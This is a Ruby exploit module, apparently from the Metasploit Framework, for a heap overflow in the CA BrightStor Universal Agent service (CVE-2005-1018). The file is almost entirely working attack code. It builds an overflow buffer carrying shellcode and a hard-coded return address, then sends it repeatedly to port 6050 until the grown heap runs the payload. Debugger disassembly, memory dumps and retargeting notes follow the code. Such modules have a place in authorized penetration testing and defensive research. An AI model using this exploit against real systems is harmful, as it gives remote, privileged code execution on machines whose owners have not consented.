159 lines
5.2 KiB
Ruby
159 lines
5.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA BrightStor Universal Agent Overflow',
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'Description' => %q{
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This module exploits a convoluted heap overflow in the CA
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BrightStor Universal Agent service. Triple userland
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exception results in heap growth and execution of
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dereferenced function pointer at a specified address.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2005-1018'],
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[ 'OSVDB', '15471' ],
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[ 'BID', '13102'],
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[ 'URL', 'http://www.idefense.com/application/poi/display?id=232&type=vulnerabilities'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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# 250 bytes of space (bytes 0xa5 -> 0xa8 = reversed)
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'Space' => 164,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[
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'Magic Heap Target #1',
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{
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'Platform' => 'win',
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'Ret' => 0x01625c44, # We grow to our own return address
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},
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],
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],
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'DisclosureDate' => '',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(6050)
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], self.class)
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end
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def exploit
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print_status("Trying target #{target.name}...")
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# The server reverses four bytes starting at offset 0xa5 :0
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# Create the overflow string
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boom = 'X' * 1024
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# Required field to trigger the fault
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boom[248, 2] = [1000].pack('V')
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# The shellcode, limited to 250 bytes (no nulls)
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boom[256, payload.encoded.length] = payload.encoded
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# This should point to itself
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boom[576, 4] = [target.ret].pack('V')
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# This points to the code below
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boom[580, 4] = [target.ret + 8].pack('V')
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# We have 95 bytes, use it to hop back to shellcode
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boom[584, 6] = "\x68" + [target.ret - 320].pack('V') + "\xc3"
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# Stick the protocol header in front of our request
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req = "\x00\x00\x00\x00\x03\x20\xa8\x02" + boom
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# We keep making new connections and triggering the fault until
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# the heap is grown to encompass our known return address. Once
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# this address has been allocated and filled, each subsequent
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# request will result in our shellcode being executed.
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1.upto(200) {|i|
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connect
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print_status("Sending request #{i} of 200...") if (i % 10) == 0
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sock.put(req)
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disconnect
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# Give the process time to recover from each exception
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sleep(0.1);
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}
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handler
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end
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end
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__END__
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012a0d91 8b8e445c0000 mov ecx,[esi+0x5c44]
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012a0d97 83c404 add esp,0x4
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012a0d9a 85c9 test ecx,ecx
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012a0d9c 7407 jz ntagent+0x20da5 (012a0da5)
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012a0d9e 8b11 mov edx,[ecx] ds:0023:41327441=???????
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012a0da0 6a01 push 0x1
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012a0da2 ff5204 call dword ptr [edx+0x4]
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Each request will result in another chunk being allocated, the exception
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causes these chunks to never be freed. The large chunk size allows us to
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predict the location of our buffer and grow our buffer to where we need it.
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If these addresses do not match up, run this exploit, then attach with WinDbg:
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> s 0 Lfffffff 0x44 0x5c 0x61 0x01
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Figure out the pattern, replace the return address, restart the service,
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and run it through again. Only tested on WinXP SP1
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011b5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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011c5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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011d5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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011e5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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011f5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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01205c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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[ snip ]
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01605c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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01615c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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01625c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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01635c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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01645c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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01655c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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01665c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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01675c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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01685c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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01695c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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016a5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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016b5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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016c5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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016d5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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01725c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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017e5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........
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